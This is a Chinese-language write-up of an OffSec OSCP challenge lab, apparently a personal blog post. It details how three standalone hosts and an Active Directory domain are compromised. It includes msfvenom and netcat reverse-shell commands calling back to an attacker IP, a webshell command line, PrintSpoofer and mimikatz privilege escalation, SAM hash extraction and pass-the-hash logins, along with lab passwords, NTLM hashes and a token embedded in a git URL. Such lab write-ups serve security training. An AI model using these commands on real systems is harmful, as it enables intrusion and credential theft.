OSCP Challenge-4-A Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Challenge 4 - OSCP A

靶场地址:

OffSec 官方 OSCP 挑战实验室(综合靶机,与考试形式一致)

二、思路总结

环境介绍:

名称 IP
独立靶机一 192.168.x.143
独立靶机二 192.168.x.144
独立靶机三 192.168.x.145
域控靶机 192.168.x.141、10.10.x.140(域控)、10.10.x.142

独立靶机一(143):

目录枚举 –> 泄漏应用名称信息(Aerospike) –> Aerospike 未授权定义 UDF 函数 RCE –> 系统 earo 用户权限 –> pspy 监控进行,修改计划任务执行文件 –> 系统 root 用户权限

独立靶机二(144):

git 目录日志泄漏 –> 系统 Stuart 用户权限 –> 解密/opt/backup 备份文件 –> 系统 Chloe 用户权限 –> sudo 组权限 –> 系统 root 用户权限

独立靶机三(145):

WiFi Mouse 远程代码执行 –> 系统 offsec 用户权限 –> winpeas 信息搜集,Putty session 泄漏 Zachary 用户密码 –> RDP 远程登录,管理员组权限 –> 系统 administrator 用户权限

域控靶机(141、140、142):

打通网络:

已知用户凭证 SSH 登录边界靶机 –> ligolo-mp 建立隧道 –> 可访问域控所有靶机 –> 信息收集

攻陷边界靶机(141):

HTTP 80 端口写入 webshell –> 系统 mary.williams 用户权限 –> 土豆系列工具提权 –> 系统 system 权限 –> minikatz 抓取密码 –> 得到通过内网靶机(142)登录凭证

攻陷域控(140):

前提: 通过 bloodhound 分析发现 tom_admin 用户属于 domain admin 组。

内网主机(142)C 盘存在 Windows 目录备份 –> 下载备份目录中 SAM 和 SYSTEM 文件 –> 提取到 tom_admin 用户 Hash –> 域控管理员权限

三、靶场攻击演示

3.1 独立靶机一(192.168.x.143)

3.1.1 端口服务信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
sudo nmap -p- 192.168.248.143 --min-rate=2000

PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
81/tcp open hosts2-ns
443/tcp open https
3000/tcp open ppp
3001/tcp open nessus
3003/tcp open cgms
3306/tcp open mysql
5432/tcp open postgresql

sudo nmap -p21,22,80,81,443,3000,3001,3003,3306,5432 -sCV 192.168.248.143

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 23:4c:6f:ff:b8:52:29:65:3d:d1:4e:38:eb:fe:01:c1 (RSA)
| 256 0d:fd:36:d8:05:69:83:ef:ae:a0:fe:4b:82:03:32:ed (ECDSA)
|_ 256 cc:76:17:1e:8e:c5:57:b2:1f:45:28:09:05:5a:eb:39 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
81/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Test Page for the Nginx HTTP Server on Fedora
|_http-server-header: Apache/2.4.41 (Ubuntu)
443/tcp open http Apache httpd 2.4.41
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp open ppp?
3001/tcp open nessus?
3003/tcp open cgms?
3306/tcp open mysql MySQL (unauthorized)
5432/tcp open postgresql PostgreSQL DB 12.9 - 12.13
| ssl-cert: Subject: commonName=aero
| Subject Alternative Name: DNS:aero
| Not valid before: 2021-05-10T22:20:48
|_Not valid after: 2031-05-08T22:20:48
|_ssl-date: TLS randomness does not represent time

Service Info: Host: 127.0.0.2; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

靶机为 Linux 环境,开放有 FTP、SSH、HTTP、Mysql、PostgreSQL 服务,以及未识别到版本信息的端口(3000、3001、3003)。

3.1.2 Aerospike 未授权定义 UDF 函数造成 RCE(CVE-2020-13151)

HTTP 80 端口枚举过程发现了 /api/heartbeat 目录,访问该目录得知系统可能部署了 Aerospike 应用。

1
feroxbuster -u http://192.168.248.143 --limit-bars 4 --no-state --filter-status 404

搜索引擎检索发现 Aerospike 应用历史存在命令执行漏洞,且漏洞端口默认为 3000,靶机刚好开放了该端口,可尝试利用。

注意: 直接使用 exploit-db 攻击脚本无法利用成功,该脚本利用过程需要加载 lua 代码,可克隆以下 GitHub 项目,执行攻击攻击。

1
https://github.com/b4ny4n/CVE-2020-13151

执行漏洞利用脚本,可得到系统 earo 用户 shell。

升级为交互式 shell。

识别到靶机 3000 端口服务信息是突破的关键,还有就是攻击脚本的选择,exploit-db 脚本攻击失败,可尝试检索 GitHub 攻击脚本。

3.1.3 用户旗帜获取

3.1.4 Pspy 进行监控,修改可执行文件得到系统 root 权限

上传 pspy 监控系统进程,发现系统会周期以 root 权限执行 asadm 命令。

asadm 命令最终会链接到 /opt/aerospike/bin/asadm 文件,由于当前用户对该文件具有修改权限,我们可尝试将该文件替换为反弹 shell。

靶机再次执行 asadm 时,可得到系统 root 用户 shell。

3.1.5 管理与旗帜获取

3.2 独立靶机二(192.168.x.144)

3.2.1 端口服务信息搜集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
192.168.248.144

sudo nmap -p- 192.168.221.144 --min-rate=2000

PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http

sudo nmap -p21,22,80 -sCV 192.168.248.144

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 fb:ea:e1:18:2f:1d:7b:5e:75:96:5a:98:df:3d:17:e4 (ECDSA)
|_ 256 66:f4:54:42:1f:25:16:d7:f3:eb:f7:44:9f:5a:1a:0b (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-generator: Nicepage 4.21.12, nicepage.com
| http-git:
| 192.168.221.144:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: Security Update
| Remotes:
|_ https://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@github.com/PWK-Challenge-Lab/dev.git
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Home

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

靶机为 Linux 环境,开放有 FTP、SSH 和 HTTP 服务。

3.2.2 HTTP Git 目录日志泄漏 stuart 用户密码

根据 nmap 扫描结果发现 HTTP 80 端口存在 Git 目录泄漏,通过 git_dumper 工具将其下载本地。

1
python3 git_dumper.py http://192.168.248.144 ./git

在 git 目录检索历史修改日志发现 Stuart 用户密码。

SSH 连接得到系统 Stuart 用户权限。

3.2.3 用户旗帜获取

3.2.4 备份文件泄漏 Chloe 用户密码

/opt/backup 发现压缩文件,将其打包下载至本地。

1
scp stuart@192.168.248.144:/home/stuart/test.tar.gz .

压缩包采用分卷压缩,尝试解压时提示需要密码。

使用 john 破解得到压缩包密码。

解压压缩包,在 configuration.php 文件得到多个密码字段,文件中邮箱用户名与靶机本地用户名一致,利用密码字段手动使用 su 命令可切换至 chloe 用户。

1
2
chloe
Ee24zIK4cDhJHL4H

3.2.5 Sudo 切换至系统 root 权限

chloe 用户属于 sudo 组,可直接通过 sudo su 切换至靶机 root 权限。

3.2.6 管理员旗帜获取

3.3 独立靶机三(192.168.x.145)

3.3.1 端口服务信息搜集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
sudo nmap -p- 192.168.248.145 --min-rate=2000

PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1978/tcp open unisql
3389/tcp open ms-wbt-server

sudo nmap -p21,80,135,139,445,1978,3389 -sCV 192.168.248.145

PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Samuel's Personal Site
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1978/tcp open unisql?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns:
|_ system windows 6.2
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: OSCP
| NetBIOS_Domain_Name: OSCP
| NetBIOS_Computer_Name: OSCP
| DNS_Domain_Name: oscp
| DNS_Computer_Name: oscp
| Product_Version: 10.0.19041
|_ System_Time: 2025-10-08T04:47:04+00:00
| ssl-cert: Subject: commonName=oscp
| Not valid before: 2025-09-18T02:02:28
|_Not valid after: 2026-03-20T02:02:28
|_ssl-date: 2025-10-08T04:47:44+00:00; -8s from scanner time.

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

靶机为 Windows 环境,开放有 FTP、HTTP、SMB、RDP 服务,以及未识别到服务信息的 1978 端口。

3.3.2 WiFi Mouse 远程代码执行漏洞

靶机 FTP、SMB 枚举过程未发现有价值信息,nmap 没有识别到 TCP 1978 服务信息,通过 nc 连接该端口会提示 system windows 6.2 信息,使用提示的信息和端口检索发现 WiFi Mouse 应用存在远程代码执行漏洞,由于目前没有太多有价值信息,接下来尝试利用该漏洞。

实际搜索过程会出现两个漏洞利用脚本,remotemouse 应用同样监听 1978 端口,但该应用使用 nc 监听时会返回应用信息,所以直接排除了。

步骤一: 使用 msf 生成 exe 反弹 shell 木马。

1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.207 LPORT=80 -f exe -o shell.exe

步骤二: 在木马所在目录开启 web 共享,然后使用 msf handle 模块开启监听。

步骤三: 执行攻击脚本,得到系统 offsec 用户 shell。

3.3.3 用户旗帜获取

3.3.4 Putty session 泄漏 Zachary 用户密码(管理员组)

执行 winpeas 发现系统 putty session 泄漏了 Zachary 用户密码,且该用户属于 administrators 组。

靶机开放有 RDP 服务可尝试远程连接靶机,注意: 如果不能远程登录靶机可能需要绕过系统 UAC 限制。

1
xfreerdp3 /u:"zachary" /p:"Th3R@tC@tch3r" /v:192.168.248.145 /cert:ignore /dynamic-resolution /clipboard /scale:180

以管理员身份启动 cmd,得到系统管理员权限。

3.3.5 管理员旗帜获取

3.4 域控靶机(140、141、142)

3.4.1 边界靶机信息搜集

已知 Eric.Wallows 用户密码,域控共有三台靶机,其中一台作为边界我们可直接访问,另外两台模拟局域网环境,需要我们设置隧道访问。

首先对边界靶机进行端口服务信息搜集。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
sudo nmap -p- 192.168.248.141 --min-rate=2000

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
81/tcp open hosts2-ns
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3306/tcp open mysql
3307/tcp open opsession-prxy
5040/tcp open unknown
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
51775/tcp open unknown

sudo nmap -p22,80,81,135,139,445,3306,3307,5040,5985,47001,49664,49665,49666,49667,49668,49669,49670,51775 -sCV 192.168.248.141

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.0)
| ssh-hostkey:
| 3072 e0:3a:63:4a:07:83:4d:0b:6f:4e:8a:4d:79:3d:6e:4c (RSA)
| 256 3f:16:ca:33:25:fd:a2:e6:bb:f6:b0:04:32:21:21:0b (ECDSA)
|_ 256 fe:b0:7a:14:bf:77:84:9a:b3:26:59:8d:ff:7e:92:84 (ED25519)
80/tcp open http Apache httpd 2.4.51 ((Win64) PHP/7.4.26)
|_http-server-header: Apache/2.4.51 (Win64) PHP/7.
4.26
| http-methods:
|_ Potentially risky methods: TRACE
|_http-generator: Nicepage 4.8.2, nicepage.com
|_http-title: Home
81/tcp open http Apache httpd 2.4.51 ((Win64) PHP/7.4.26)
|_http-title: Attendance and Payroll System
|_http-server-header: Apache/2.4.51 (Win64) PHP/7.4.26
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3306/tcp open mysql MySQL (unauthorized)
3307/tcp open mysql MariaDB 10.3.24 or later (unauthorized)
5040/tcp open unknown
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
51775/tcp open msrpc Microsoft Windows RPC

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

边界靶机开放有 SSH、HTTP、Winrm、Mysql 和 Windows 的一些默认端口。

3.4.2 Ligolo-mp 设置隧道

使用已知用户 SSH 登录靶机。

通过 ligolo-mp 设置隧道,OSCP考试过程,强烈建议使用该工具,因为它非常的方便好用!!!

步骤一: 在 kali 开启 ligolo-mp 服务端,这里设置监听端口为 443。

1
sudo ligolo-mp -agent-addr "0.0.0.0:443"

点击回车 - Connect。

步骤二: 创建客户端 agent。

输入:Ctrl-N。

将保存的 agent.bin 重命名为 agent.exe。

步骤三: 上传 agent 至靶机并执行,然后在 kali ligolo-mp 服务端设置隧道路由。

当 agent 连接到 kali 服务端时,靶机的网卡信息也会显示到窗口。

靶机的另一个网络地址段为 10.10.208.1/24 ,使用 table 可切换窗口,在 session 界面按回车添加路由。

步骤四: 再次通过 session 界面按回车开启隧道中继。

此时测试可正常 ping 通 dc,说明隧道建立完成。

3.4.3 域控其余靶机信息搜集,bloodhound 分析

成功建立隧道后,此时可以正常访问域控下所有靶机,接下来对域控和另外一台靶机进行信息搜集。

内网靶机(142):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
sudo nmap -p- 10.10.208.142 -Pn --min-rate=2000

PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1433/tcp open ms-sql-s
5040/tcp open unknown
5985/tcp open wsman
47001/tcp open winrm
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49671/tcp open unknown
49700/tcp open unknown

sudo nmap -p135,139,445,1433,5040,5985,47001,49665,49666,49667,49668,49669,49671,49700 -sCV 10.10.208.142

PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
| 10.10.208.142:1433:
| Target_Name: OSCP
| NetBIOS_Domain_Name: OSCP
| NetBIOS_Computer_Name: MS02
| DNS_Domain_Name: oscp.exam
| DNS_Computer_Name: MS02.oscp.exam
| DNS_Tree_Name: oscp.exam
|_ Product_Version: 10.0.19041
|_ssl-date: 2025-10-09T02:11:06+00:00; -10s from scanner time.
| ms-sql-info:
| 10.10.208.142:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-02-13T00:59:29
|_Not valid after: 2055-02-13T00:59:29
5040/tcp open unknown
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49700/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
| 10.10.208.142:49700:
| Target_Name: OSCP
| NetBIOS_Domain_Name: OSCP
| NetBIOS_Computer_Name: MS02
| DNS_Domain_Name: oscp.exam
| DNS_Computer_Name: MS02.oscp.exam
| DNS_Tree_Name: oscp.exam
|_ Product_Version: 10.0.19041
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-02-13T00:59:29
|_Not valid after: 2055-02-13T00:59:29
|_ssl-date: 2025-10-09T02:11:06+00:00; -10s from scanner time.
| ms-sql-info:
| 10.10.208.142:49700:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 49700
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

内网靶机(142)开放有 Mssql、Winrm 和 Windows 的一些默认服务。

域控(140):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
sudo nmap -p- 10.10.208.140 -Pn --min-rate=2000

PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
5985/tcp open wsman
9389/tcp open adws
49668/tcp open unknown
49682/tcp open unknown
49683/tcp open unknown
49686/tcp open unknown
49710/tcp open unknown
56710/tcp open unknown

sudo nmap -Pn -p53,88,135,139,445,464,593,636,3268,5985,9389,49668,49682,49683,49686,49710,56710 -sCV 10.10.208.140

PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-08 13:33:33Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: oscp.exam0., Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49668/tcp open msrpc Microsoft Windows RPC
49682/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49683/tcp open msrpc Microsoft Windows RPC
49686/tcp open msrpc Microsoft Windows RPC
49710/tcp open msrpc Microsoft Windows RPC
56710/tcp open msrpc Microsoft Windows RPC

Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

域控(140)开放有 Winrm 和 Windows 域控的一些默认端口。

利用已知用户搜集域控信息导入 bloodhound 分析。

1
bloodhound-python -d oscp.exam -u Eric.Wallows -p EricLikesRunning800 -gc dc01.oscp.exam -ns 10.10.208.140 -c ALL --zip

查看通往 domain admin 最短路径,发现 tom_admin 用户属于 domain admin 组,未发现其余攻击路径,我们如果可以得到 tom_admin 用户权限就可以拿下整个域控。

3.4.4 边界靶机(141) system 权限获取

靶机 HTTP 81 端口部署了 Attendance and Payroll System 应用,由于我们已经登录了靶机,可以直接在网站根目录写入 webshell,当然该应用本身也存在远程代码执行漏洞。

1
https://www.exploit-db.com/exploits/50801

上传 nc 利用 webshell 执行反弹 shell,得到边界靶机(141)mary.williams 用户权限,mary.williams 用户具有 SeImpersonatePrivilege 权限,利用该特权可突破至系统 system。

1
http://192.168.248.141:81/shell.php?cmd=C:\wamp64\attendance\nc64.exe 192.168.45.207 80 -e cmd.exe

上传 PrintSpoofer64 执行反弹 shell,得到边界靶机(141)system 权限。

3.4.5 边界靶机(141) mimikatz 抓取 celia.almeda 用户 Hash

我们已经得到了边界靶机(141)system 权限,上传 mimikatz 可抓取到 celia.almeda 用户 Hash。

使用 celia.almeda 用户 Hash 可登录内网靶机(142)。

3.4.6 内网靶机(142) Windows 备份目录泄漏 tom_admin 用户 Hash

使用 evil-winrm 登录内网主机,在 C 盘根目录发现 Windows.old 目录,Windows 系统 sam 和 system 文件默认存储在 C:\Windows\system32\config 目录,经过检索在 C:\Windows.old\Windows\system32 目录发现了 sam 和 system 文件。

1
evil-winrm -i 10.10.208.142 -u celia.almeda -H e728ecbadfb02f51ce8eed753f3ff3fd

通过 evil-winrm download 功能将 SAM 和 SYSTEM 文件下载至本地。

使用 impacket-secretsdump 提取到 tom_admin 用户 Hash,经过 nxc 测试可正常登录 DC。

1
2
impacket-secretsdump -system SYSTEM -sam SAM LOCAL
nxc ldap 10.10.208.140 -u tom_admin -H 4979d69d4ca66955c075c41cf45f24dc

利用获取的 Hash 使用 evil-winrm 登录 DC。

1
nxc ldap 10.10.208.140 -u tom_admin -H 4979d69d4ca66955c075c41cf45f24dc

3.4.7 域控旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨